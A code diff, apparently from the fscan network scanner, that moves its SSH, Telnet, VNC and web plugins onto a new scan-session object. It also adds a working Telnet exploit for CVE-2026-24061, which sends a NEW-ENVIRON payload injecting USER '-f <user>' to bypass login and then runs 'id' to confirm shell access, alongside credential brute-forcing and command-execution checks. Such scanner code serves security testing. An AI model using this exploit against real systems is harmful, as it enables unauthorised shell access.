@@ func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com } // 使用公共框架进行并发凭据测试 - authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + authFn := p.createAuthFunc(info, session) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "ssh", testConfig) @@ -77,14 +78,15 @@ func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com } // createAuthFunc 创建SSH认证函数 -func (p *SSHPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc { +func (p *SSHPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc { return func(ctx context.Context, cred Credential) *AuthResult { - return p.doSSHAuth(ctx, info, cred, config, state) + return p.doSSHAuth(ctx, info, cred, session) } } // doSSHAuth 执行SSH认证 -func (p *SSHPlugin) doSSHAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { +func (p *SSHPlugin) doSSHAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult { + config := session.Config target := info.Target() // 创建SSH配置 @@ -111,9 +113,8 @@ func (p *SSHPlugin) doSSHAuth(ctx context.Context, info *common.HostInfo, cred C } // 建立TCP连接 - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, config.Timeout) if err != nil { - state.IncrementTCPFailedPacketCount() return &AuthResult{ Success: false, ErrorType: classifySSHErrorType(err), @@ -125,7 +126,6 @@ func (p *SSHPlugin) doSSHAuth(ctx context.Context, info *common.HostInfo, cred C sshConn, chans, reqs, err := ssh.NewClientConn(conn, target, sshConfig) if err != nil { _ = conn.Close() - state.IncrementTCPFailedPacketCount() return &AuthResult{ Success: false, ErrorType: classifySSHErrorType(err), @@ -136,7 +136,6 @@ func (p *SSHPlugin) doSSHAuth(ctx context.Context, info *common.HostInfo, cred C // 创建SSH客户端 client := ssh.NewClient(sshConn, chans, reqs) - state.IncrementTCPSuccessPacketCount() return &AuthResult{ Success: true, Conn: &sshClientWrapper{client}, @@ -179,7 +178,8 @@ func classifySSHErrorType(err error) ErrorType { } // scanWithKey 使用SSH私钥扫描 -func (p *SSHPlugin) scanWithKey(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *SSHPlugin) scanWithKey(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config keyData, err := os.ReadFile(config.Credentials.SSHKeyPath) if err != nil { common.LogError(i18n.Tr("ssh_key_read_failed", err)) //nolint:govet @@ -204,7 +204,7 @@ func (p *SSHPlugin) scanWithKey(ctx context.Context, info *common.HostInfo, conf KeyData: keyData, } - result := p.doSSHAuth(ctx, info, cred, config, state) + result := p.doSSHAuth(ctx, info, cred, session) if result.Success { if result.Conn != nil { _ = result.Conn.Close() @@ -222,12 +222,11 @@ func (p *SSHPlugin) scanWithKey(ctx context.Context, info *common.HostInfo, conf } // identifyService 服务识别 -func (p *SSHPlugin) identifyService(info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *SSHPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() - conn, err := common.SafeTCPDial(target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { - state.IncrementTCPFailedPacketCount() return &ScanResult{ Success: false, Service: "ssh", @@ -236,8 +235,7 @@ func (p *SSHPlugin) identifyService(info *common.HostInfo, config *common.Config } defer func() { _ = conn.Close() }() - if banner := p.readSSHBanner(conn, config); banner != "" { - state.IncrementTCPSuccessPacketCount() + if banner := p.readSSHBanner(conn, session.Config); banner != "" { common.LogSuccess(i18n.Tr("ssh_service_identified", target, banner)) //nolint:govet return &ScanResult{ Type: plugins.ResultTypeService, @@ -247,7 +245,6 @@ func (p *SSHPlugin) identifyService(info *common.HostInfo, config *common.Config } } - state.IncrementTCPFailedPacketCount() return &ScanResult{ Success: false, Service: "ssh", diff --git a/plugins/services/telnet.go b/plugins/services/telnet.go index accd53d..b131296 100644 --- a/plugins/services/telnet.go +++ b/plugins/services/telnet.go @@ -4,9 +4,11 @@ package services import ( "context" + "crypto/rand" "fmt" "net" "strings" + "sync" "time" "github.com/shadow1ng/fscan/common" @@ -16,14 +18,26 @@ import ( // Telnet协议时间常量 const ( - telnetReadDelay = 200 * time.Millisecond // 读取间隔延迟 - telnetRetryDelay = 500 * time.Millisecond // 重试延迟 - telnetAuthDelay = 1000 * time.Millisecond // 认证后等待延迟 - telnetReadTimeout = 2 * time.Second // 读取超时 - telnetBannerTimeout = 3 * time.Second // Banner读取超时 - telnetRCECmdTimeout = 5 * time.Second // RCE命令执行超时 - telnetRCEExtraTimeout = 10 * time.Second // RCE验证额外超时 - telnetMaxAttempts = 10 // 最大尝试次数 + telnetReadDelay = 200 * time.Millisecond // 读取间隔延迟 + telnetRetryDelay = 500 * time.Millisecond // 重试延迟 + telnetAuthDelay = 1000 * time.Millisecond // 认证后等待延迟 + telnetReadTimeout = 2 * time.Second // 读取超时 + telnetBannerTimeout = 3 * time.Second // Banner读取超时 + telnetRCECmdTimeout = 5 * time.Second // RCE命令执行超时 + telnetRCEExtraTimeout = 10 * time.Second // RCE验证额外超时 + telnetMaxAttempts = 10 // 最大尝试次数 +) + +// CVE-2026-24061 Telnet NEW-ENVIRON 选项常量 +const ( + telnetIAC = 0xFF // Telnet Interpret As Command + telnetSB = 0xFA // Subnegotiation Begin + telnetSE = 0xF0 // Subnegotiation End + telnetNEWENVIRON = 39 // NEW-ENVIRON option + telnetDO = 0xFD // DO + telnetDONT = 0xFE // DONT + telnetWILL = 0xFB // WILL + telnetWONT = 0xFC // WONT ) // TelnetPlugin Telnet扫描插件 @@ -37,18 +51,19 @@ func NewTelnetPlugin() *TelnetPlugin { } } -func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config target := info.Target() if config.DisableBrute { - return p.identifyService(ctx, info, config, state) + return p.identifyService(ctx, info, session) } // 检测未授权访问 - if result := p.testUnauthAccess(ctx, info, config, state); result != nil && result.Success { + if result := p.testUnauthAccess(ctx, info, session); result != nil && result.Success { common.LogVuln(i18n.Tr("telnet_service", target, result.Banner)) // 验证命令执行能力 - if ok, osType, evidence := p.verifyCommandExecution(ctx, info, "", "", config, state); ok { + if ok, osType, evidence := p.verifyCommandExecution(ctx, info, "", "", session); ok { common.LogVuln(i18n.Tr("telnet_unauth_rce", target, osType, evidence)) } return result @@ -70,16 +85,21 @@ func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo, config * creds[i] = Credential{Username: c.Username, Password: c.Password} } + // CVE-2026-24061: 并发检测 Telnetd Authentication Bypass 漏洞 + if cveResult := p.checkCVE202624061Concurrent(ctx, info, session, config); cveResult != nil { + return cveResult + } + // 使用公共框架进行并发凭据测试 - authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + authFn := p.createAuthFunc(info, session) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, creds, authFn, "telnet", testConfig) if result.Success { common.LogVuln(i18n.Tr("telnet_credential", target, result.Username, result.Password)) // 验证命令执行能力 - if ok, osType, evidence := p.verifyCommandExecution(ctx, info, result.Username, result.Password, config, state); ok { + if ok, osType, evidence := p.verifyCommandExecution(ctx, info, result.Username, result.Password, session); ok { common.LogVuln(i18n.Tr("telnet_credential_rce", target, result.Username, result.Password, osType, evidence)) } } @@ -88,22 +108,21 @@ func (p *TelnetPlugin) Scan(ctx context.Context, info *common.HostInfo, config * } // createAuthFunc 创建Telnet认证函数 -func (p *TelnetPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc { +func (p *TelnetPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc { return func(ctx context.Context, cred Credential) *AuthResult { - return p.doTelnetAuth(ctx, info, cred, config, state) + return p.doTelnetAuth(ctx, info, cred, session) } } // doTelnetAuth 执行Telnet认证 -func (p *TelnetPlugin) doTelnetAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { +func (p *TelnetPlugin) doTelnetAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult { target := info.Target() resultChan := make(chan *AuthResult, 1) go func() { - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { - state.IncrementTCPFailedPacketCount() resultChan <- &AuthResult{ Success: false, ErrorType: classifyTelnetErrorType(err), @@ -112,10 +131,9 @@ func (p *TelnetPlugin) doTelnetAuth(ctx context.Context, info *common.HostInfo, return } - _ = conn.SetDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetDeadline(time.Now().Add(session.Config.Timeout)) if p.performTelnetAuth(conn, cred.Username, cred.Password) { - state.IncrementTCPSuccessPacketCount() resultChan <- &AuthResult{ Success: true, Conn: &telnetConnWrapper{conn}, @@ -124,7 +142,6 @@ func (p *TelnetPlugin) doTelnetAuth(ctx context.Context, info *common.HostInfo, } } else { _ = conn.Close() - state.IncrementTCPFailedPacketCount() resultChan <- &AuthResult{ Success: false, ErrorType: ErrorTypeAuth, @@ -192,21 +209,20 @@ func classifyTelnetErrorType(err error) ErrorType { } // testUnauthAccess 测试Telnet未授权访问 -func (p *TelnetPlugin) testUnauthAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *TelnetPlugin) testUnauthAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() resultChan := make(chan *ScanResult, 1) go func() { - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { - state.IncrementTCPFailedPacketCount() resultChan <- nil return } defer func() { _ = conn.Close() }() - _ = conn.SetDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetDeadline(time.Now().Add(session.Config.Timeout)) buffer := make([]byte, 1024) attempts := 0 @@ -229,7 +245,6 @@ func (p *TelnetPlugin) testUnauthAccess(ctx context.Context, info *common.HostIn p.handleIACNegotiation(conn, buffer[:n]) if p.isShellPrompt(cleaned) { - state.IncrementTCPSuccessPacketCount() resultChan <- &ScanResult{ Success: true, Type: plugins.ResultTypeVuln, @@ -489,15 +504,14 @@ func (p *TelnetPlugin) isLoginFailed(data string) bool { } // identifyService Telnet服务识别 -func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { target := info.Target() resultChan := make(chan *ScanResult, 1) go func() { - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { - state.IncrementTCPFailedPacketCount() resultChan <- &ScanResult{ Success: false, Service: "telnet", @@ -507,12 +521,11 @@ func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInf } defer func() { _ = conn.Close() }() - _ = conn.SetDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetDeadline(time.Now().Add(session.Config.Timeout)) buffer := make([]byte, 2048) n, err := conn.Read(buffer) if err != nil { - state.IncrementTCPFailedPacketCount() resultChan <- &ScanResult{ Success: false, Service: "telnet", @@ -521,8 +534,6 @@ func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInf return } - state.IncrementTCPSuccessPacketCount() - p.handleIACNegotiation(conn, buffer[:n]) cleaned := p.cleanResponse(string(buffer[:n])) cleanedLower := strings.ToLower(cleaned) @@ -574,7 +585,7 @@ func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInf } // verifyCommandExecution 验证Telnet命令执行能力(RCE检测) -func (p *TelnetPlugin) verifyCommandExecution(ctx context.Context, info *common.HostInfo, username, password string, config *common.Config, state *common.State) (bool, string, string) { +func (p *TelnetPlugin) verifyCommandExecution(ctx context.Context, info *common.HostInfo, username, password string, session *common.ScanSession) (bool, string, string) { target := info.Target() type rceResult struct { @@ -586,14 +597,14 @@ func (p *TelnetPlugin) verifyCommandExecution(ctx context.Context, info *common. resultChan := make(chan rceResult, 1) go func() { - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { resultChan <- rceResult{} return } defer func() { _ = conn.Close() }() - _ = conn.SetDeadline(time.Now().Add(config.Timeout + telnetRCEExtraTimeout)) + _ = conn.SetDeadline(time.Now().Add(session.Config.Timeout + telnetRCEExtraTimeout)) // 需要认证时先登录 if username != "" || password != "" { @@ -747,6 +758,264 @@ func (p *TelnetPlugin) drainBuffer(conn net.Conn) { } } +// checkCVE202624061Concurrent 并发检测多个用户,首个命中即返回 +func (p *TelnetPlugin) checkCVE202624061Concurrent(ctx context.Context, info *common.HostInfo, session *common.ScanSession, config *common.Config) *ScanResult { + cveUsers := config.Credentials.Userdict["telnet"] + if len(cveUsers) == 0 { + cveUsers = []string{"root", "admin", "administrator"} + } + + type cveHit struct { + user string + evidence string + } + + ctx, cancel := context.WithCancel(ctx) + defer cancel() + + ch := make(chan cveHit, 1) + var wg sync.WaitGroup + + for _, user := range cveUsers { + wg.Add(1) + go func(u string) { + defer wg.Done() + if vuln, cveUser, evidence := p.checkCVE202624061(ctx, info, session, u); vuln { + select { + case ch <- cveHit{user: cveUser, evidence: evidence}: + cancel() // 通知其他 goroutine 停止 + default: + } + } + }(user) + } + + // 等待全部完成后关闭 channel + go func() { + wg.Wait() + close(ch) + }() + + if hit, ok := <-ch; ok { + target := info.Target() + common.LogVuln(i18n.Tr("telnet_cve202624061", target, hit.user, hit.evidence)) + return &ScanResult{ + Success: true, + Type: plugins.ResultTypeVuln, + Service: "telnet", + Banner: fmt.Sprintf("CVE-2026-24061 Telnetd Authentication Bypass (user: %s)", hit.user), + } + } + return nil +} + +// checkCVE202624061 检测 CVE-2026-24061 Telnetd Authentication Bypass 漏洞 +// 利用 NEW-ENVIRON (option 39) 子协商注入恶意环境变量,实现认证绕过 +// 返回 (是否漏洞, 触发用户名, 证据) +func (p *TelnetPlugin) checkCVE202624061(ctx context.Context, info *common.HostInfo, session *common.ScanSession, user string) (bool, string, string) { + conn, err := session.DialTCP(ctx, "tcp", info.Target(), session.Config.Timeout) + if err != nil { + return false, "", "" + } + defer conn.Close() + + chk := &cveChecker{ + conn: conn, + user: user, + buf: make([]byte, 4096), + } + return chk.run() +} + +// cveChecker CVE-2026-24061 检测器 (基于验证过的 POC 逻辑) +type cveChecker struct { + conn net.Conn + user string + exploitSent bool + buf []byte +} + +// sendPayload 发送 NEW-ENVIRON 恶意环境变量 payload +func (e *cveChecker) sendPayload() { + payload := []byte{telnetIAC, telnetSB, telnetNEWENVIRON, 0, 0} + payload = append(payload, []byte("USER")...) + payload = append(payload, 1) // SEND indicator + payload = append(payload, []byte("-f "+e.user)...) + payload = append(payload, telnetIAC, telnetSE) + _, _ = e.conn.Write(payload) + e.exploitSent = true +} + +// sendSubResp 响应服务端子协商请求 +func (e *cveChecker) sendSubResp(opt byte, data []byte) { + resp := []byte{telnetIAC, telnetSB, opt, 0} + resp = append(resp, data...) + resp = append(resp, telnetIAC, telnetSE) + _, _ = e.conn.Write(resp) +} + +// parseIAC 解析 Telnet IAC 协商报文,返回非 IAC 数据部分 +func (e *cveChecker) parseIAC(data []byte) []byte { + var output []byte + i := 0 + for i < len(data) { + if data[i] != telnetIAC { + output = append(output, data[i]) + i++ + continue + } + i++ + if i >= len(data) { + break + } + cmd := data[i] + i++ + if cmd == telnetIAC { + output = append(output, 0xFF) // IAC 转义 + continue + } + // 子协商 (SB) + if cmd == telnetSB { + if i >= len(data) { + break + } + sbOpt := data[i] + i++ + var sbData []byte + for i < len(data)-1 { + if data[i] == telnetIAC && data[i+1] == telnetSE { + i += 2 + break + } + sbData = append(sbData, data[i]) + i++ + } + // 服务端要求回显数据 (SEND indicator = 1) + if len(sbData) > 0 && sbData[0] == 1 { + switch sbOpt { + case 24: + e.sendSubResp(24, []byte("xterm")) + case 32: + e.sendSubResp(32, []byte("38400,38400")) + case telnetNEWENVIRON: + if !e.exploitSent { + e.sendPayload() + } + } + } + continue + } + // DO/DONT/WILL/WONT 协商 + if cmd == telnetDO || cmd == telnetDONT || cmd == telnetWILL || cmd == telnetWONT { + if i >= len(data) { + break + } + opt := data[i] + i++ + switch cmd { + case telnetDO: + if opt == 24 || opt == 32 || opt == telnetNEWENVIRON { + _, _ = e.conn.Write([]byte{telnetIAC, telnetWILL, opt}) + } else { + _, _ = e.conn.Write([]byte{telnetIAC, telnetWONT, opt}) + } + case telnetWILL: + if opt == 1 || opt == 3 { + _, _ = e.conn.Write([]byte{telnetIAC, telnetDO, opt}) + } else { + _, _ = e.conn.Write([]byte{telnetIAC, telnetDONT, opt}) + } + case telnetWONT: + _, _ = e.conn.Write([]byte{telnetIAC, telnetDONT, opt}) + case telnetDONT: + _, _ = e.conn.Write([]byte{telnetIAC, telnetWONT, opt}) + } + } + } + return output +} + +// readAll 读取连接中的所有可用数据,deadline 控制等待上限 +func (e *cveChecker) readAll(timeout time.Duration) []byte { + var out []byte + _ = e.conn.SetReadDeadline(time.Now().Add(timeout)) + for { + n, err := e.conn.Read(e.buf) + if n > 0 { + out = append(out, e.parseIAC(e.buf[:n])...) + // 收到数据后缩短后续等待,快速收完尾包 + _ = e.conn.SetReadDeadline(time.Now().Add(200 * time.Millisecond)) + } + if err != nil { + break + } + } + return out +} + +// genToken 生成 16 位随机验证 token +func (e *cveChecker) genToken() string { + b := make([]byte, 8) + _, _ = rand.Read(b) + return fmt.Sprintf("%x", b) +} + +// extractEvidence 从输出中提取包含关键词的完整行作为证据,清理 \r 控制字符 +func (e *cveChecker) extractEvidence(data string, keywords []string) string { + for _, kw := range keywords { + for _, line := range strings.Split(data, "\n") { + line = strings.TrimSpace(strings.ReplaceAll(line, "\r", "")) + if line != "" && strings.Contains(line, kw) { + return "[" + line + "]" + } + } + } + return "" +} + +// run 执行 CVE-2026-24061 检测流程 +// 优先级: id 命令输出 > echo token 回显 +func (e *cveChecker) run() (bool, string, string) { + // 阶段 1: IAC 协商(deadline 控制,不 sleep) + _ = e.conn.SetReadDeadline(time.Now().Add(3 * time.Second)) + for { + n, err := e.conn.Read(e.buf) + if err != nil { + break + } + out := e.parseIAC(e.buf[:n]) + if len(out) > 0 || e.exploitSent { + break + } + } + + // 协商未触发 exploit 则主动发送 + if !e.exploitSent { + e.sendPayload() + e.readAll(500 * time.Millisecond) // 消费协商回包 + } + + // 阶段 2: id 命令检测 + _, _ = e.conn.Write([]byte("id\n")) + idOutput := string(e.readAll(2 * time.Second)) + + evidence := e.extractEvidence(idOutput, []string{"uid=", "gid="}) + if evidence != "" { + return true, e.user, evidence + } + + // 阶段 3: echo token 验证 + token := e.genToken() + _, _ = e.conn.Write([]byte("echo " + token + "\n")) + result := string(e.readAll(1500 * time.Millisecond)) + stripped := strings.Replace(result, "echo "+token, "", 1) + if strings.Contains(stripped, token) { + return true, e.user, "[echo " + token + "]" + } + + return false, "", "" +} + func init() { RegisterPluginWithPorts("telnet", func() Plugin { return NewTelnetPlugin() diff --git a/plugins/services/types.go b/plugins/services/types.go index 139d550..a3b1afb 100644 --- a/plugins/services/types.go +++ b/plugins/services/types.go @@ -10,7 +10,7 @@ import ( // 插件接口定义 - 统一命名风格 type Plugin interface { Name() string - Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult + Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult } type ScanResult = plugins.Result diff --git a/plugins/services/vnc.go b/plugins/services/vnc.go index 69f279d..2914632 100644 --- a/plugins/services/vnc.go +++ b/plugins/services/vnc.go @@ -24,11 +24,12 @@ func NewVNCPlugin() *VNCPlugin { } } -func (p *VNCPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *VNCPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config target := info.Target() // 检查未授权访问 - if result := p.testUnauthAccess(ctx, info, config, state); result != nil && result.Success { + if result := p.testUnauthAccess(ctx, info, session); result != nil && result.Success { common.LogVuln(i18n.Tr("vnc_unauth", target)) return result } @@ -47,8 +48,8 @@ func (p *VNCPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com } // 使用公共框架进行并发凭据测试 - authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + authFn := p.createAuthFunc(info, session) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "vnc", testConfig) @@ -60,22 +61,21 @@ func (p *VNCPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com } // createAuthFunc 创建VNC认证函数 -func (p *VNCPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc { +func (p *VNCPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc { return func(ctx context.Context, cred Credential) *AuthResult { - return p.doVNCAuth(ctx, info, cred, config, state) + return p.doVNCAuth(ctx, info, cred, session) } } // doVNCAuth 执行VNC认证 -func (p *VNCPlugin) doVNCAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { +func (p *VNCPlugin) doVNCAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult { target := info.Target() resultChan := make(chan *AuthResult, 1) go func() { - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { - state.IncrementTCPFailedPacketCount() resultChan <- &AuthResult{ Success: false, ErrorType: classifyVNCErrorType(err), @@ -84,7 +84,7 @@ func (p *VNCPlugin) doVNCAuth(ctx context.Context, info *common.HostInfo, cred C return } - _ = conn.SetDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetDeadline(time.Now().Add(session.Config.Timeout)) vncConfig := &vnc.ClientConfig{ Auth: []vnc.ClientAuth{ @@ -95,7 +95,6 @@ func (p *VNCPlugin) doVNCAuth(ctx context.Context, info *common.HostInfo, cred C client, err := vnc.Client(conn, vncConfig) if err != nil { _ = conn.Close() - state.IncrementTCPFailedPacketCount() resultChan <- &AuthResult{ Success: false, ErrorType: classifyVNCErrorType(err), @@ -104,8 +103,6 @@ func (p *VNCPlugin) doVNCAuth(ctx context.Context, info *common.HostInfo, cred C return } - state.IncrementTCPSuccessPacketCount() - resultChan <- &AuthResult{ Success: true, Conn: &vncClientWrapper{client, conn}, @@ -173,9 +170,9 @@ func classifyVNCErrorType(err error) ErrorType { return ClassifyError(err, nil, CommonNetworkErrors) } -func (p *VNCPlugin) testUnauthAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *VNCPlugin) testUnauthAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { cred := Credential{Username: "", Password: ""} - result := p.doVNCAuth(ctx, info, cred, config, state) + result := p.doVNCAuth(ctx, info, cred, session) if result.Success { if result.Conn != nil { diff --git a/plugins/web/types.go b/plugins/web/types.go index 9e296df..7882ec4 100644 --- a/plugins/web/types.go +++ b/plugins/web/types.go @@ -10,7 +10,7 @@ import ( // WebPlugin Web插件接口 - 使用智能HTTP检测,不需要预定义端口 type WebPlugin interface { Name() string - Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *WebScanResult + Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *WebScanResult } // WebScanResult Web扫描结果类型别名 diff --git a/plugins/web/webpoc.go b/plugins/web/webpoc.go index 273089d..3b43e0b 100644 --- a/plugins/web/webpoc.go +++ b/plugins/web/webpoc.go @@ -87,7 +87,8 @@ func NewWebPocPlugin() *WebPocPlugin { // Scan 执行Web POC扫描 // 注意:非全量模式下,POC扫描由webtitle插件在指纹识别后触发,此插件不执行 // 全量模式(-full)下,此插件独立执行全量POC扫描 -func (p *WebPocPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *WebScanResult { +func (p *WebPocPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *WebScanResult { + config := session.Config if config.POC.Disabled { return &WebScanResult{ Success: false, @@ -106,7 +107,7 @@ func (p *WebPocPlugin) Scan(ctx context.Context, info *common.HostInfo, config * // 全量模式:忽略指纹和CDN/WAF检测,直接扫描所有POC target := info.Target() common.LogDebug(fmt.Sprintf("WebPOC %s 全量扫描模式", target)) - WebScan.WebScan(info, config) + WebScan.WebScan(ctx, info, config) return &WebScanResult{ Type: plugins.ResultTypeWeb, diff --git a/plugins/web/webtitle.go b/plugins/web/webtitle.go index fd51c6f..8b24692 100644 --- a/plugins/web/webtitle.go +++ b/plugins/web/webtitle.go @@ -39,8 +39,9 @@ func NewWebTitlePlugin() *WebTitlePlugin { } // Scan 执行WebTitle扫描 -func (p *WebTitlePlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *WebScanResult { - title, status, length, server, fingerprints, url, err := p.getWebTitle(ctx, info, config) +func (p *WebTitlePlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *WebScanResult { + config := session.Config + title, status, length, server, fingerprints, url, err := p.getWebTitle(ctx, info, config, session) if err != nil { return &WebScanResult{ Success: false, @@ -71,6 +72,7 @@ func (p *WebTitlePlugin) Scan(ctx context.Context, info *common.HostInfo, config return &WebScanResult{ Type: plugins.ResultTypeWeb, Success: true, + Output: url, Title: title, Status: status, Server: server, @@ -78,9 +80,9 @@ func (p *WebTitlePlugin) Scan(ctx context.Context, info *common.HostInfo, config } } -func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, config *common.Config) (string, int, int, string, []string, string, error) { +func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, config *common.Config, session *common.ScanSession) (string, int, int, string, []string, string, error) { // 智能协议检测 - protocol := p.detectProtocol(info, config) + protocol := p.detectProtocol(info, config, session) baseURL := fmt.Sprintf("%s://%s:%d", protocol, info.Host, info.Port) // 构建显示用URL(隐藏标准端口) @@ -159,7 +161,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, } // 执行指纹识别(合并原始响应和跳转后响应的指纹) - fingerprints := p.identifyFingerprintsMulti(info, baseURL, checkDataList, config) + fingerprints := p.identifyFingerprintsMulti(ctx, info, baseURL, checkDataList, config) return title, statusCode, contentLen, server, fingerprints, displayURL, nil } @@ -188,25 +190,20 @@ func (p *WebTitlePlugin) resolveRedirectURL(baseURL, location string) string { } // identifyFingerprintsMulti 识别多个响应的指纹并合并 -func (p *WebTitlePlugin) identifyFingerprintsMulti(info *common.HostInfo, baseURL string, checkDataList []WebScan.CheckDatas, config *common.Config) []string { +func (p *WebTitlePlugin) identifyFingerprintsMulti(ctx context.Context, info *common.HostInfo, baseURL string, checkDataList []WebScan.CheckDatas, config *common.Config) []string { // 调用指纹识别 fingerprints := WebScan.InfoCheck(baseURL, &checkDataList) - // 存入缓存 - if len(fingerprints) > 0 { - core.SetFingerprints(info.Host, info.Port, fingerprints) - } - // 非全量模式下,基于指纹触发POC扫描 if !config.POC.Full && !config.POC.Disabled { - p.triggerPocScan(info, fingerprints, config) + p.triggerPocScan(ctx, info, fingerprints, config) } return fingerprints } // triggerPocScan 基于指纹触发POC扫描 -func (p *WebTitlePlugin) triggerPocScan(info *common.HostInfo, fingerprints []string, config *common.Config) { +func (p *WebTitlePlugin) triggerPocScan(ctx context.Context, info *common.HostInfo, fingerprints []string, config *common.Config) { target := info.Target() // 无指纹,跳过 @@ -224,7 +221,7 @@ func (p *WebTitlePlugin) triggerPocScan(info *common.HostInfo, fingerprints []st // 基于指纹执行POC扫描 common.LogDebug(fmt.Sprintf("WebTitle %s 触发指纹POC扫描: %v", target, fingerprints)) info.Info = fingerprints - WebScan.WebScan(info, config) + WebScan.WebScan(ctx, info, config) } // formatHeaders 将 HTTP Header 格式化为字符串 @@ -239,7 +236,7 @@ func (p *WebTitlePlugin) formatHeaders(headers http.Header) string { } // detectProtocol 智能检测HTTP/HTTPS协议(基于服务识别和主动探测) -func (p *WebTitlePlugin) detectProtocol(info *common.HostInfo, config *common.Config) string { +func (p *WebTitlePlugin) detectProtocol(info *common.HostInfo, config *common.Config, session *common.ScanSession) string { host := info.Host port := info.Port @@ -266,7 +263,7 @@ func (p *WebTitlePlugin) detectProtocol(info *common.HostInfo, config *common.Co // 第三优先级:主动协议检测(TLS握手) // 对于-u模式或服务名为普通"http"的情况,进行主动检测确认 - detected := core.DetectHTTPScheme(host, port, config) + detected := core.DetectHTTPScheme(host, port, config, session) if detected != "" { // 缓存检测结果(避免重复检测) if exists { diff --git a/web/api/project.go b/web/api/project.go new file mode 100644 index 0000000..1469384 --- /dev/null +++ b/web/api/project.go @@ -0,0 +1,293 @@ +//go:build web + +package api + +import ( + "crypto/rand" + "encoding/json" + "fmt" + "net/http" + "os" + "path/filepath" + "strings" + "sync" + "time" +) + +// ProjectCache 项目缓存:跨扫描持久化已知资产 +type ProjectCache struct { + ID string `json:"id"` + Name string `json:"name"` + Hosts map[string]int64 `json:"hosts"` // IP → 最后发现时间戳(unix) + Ports map[string]int64 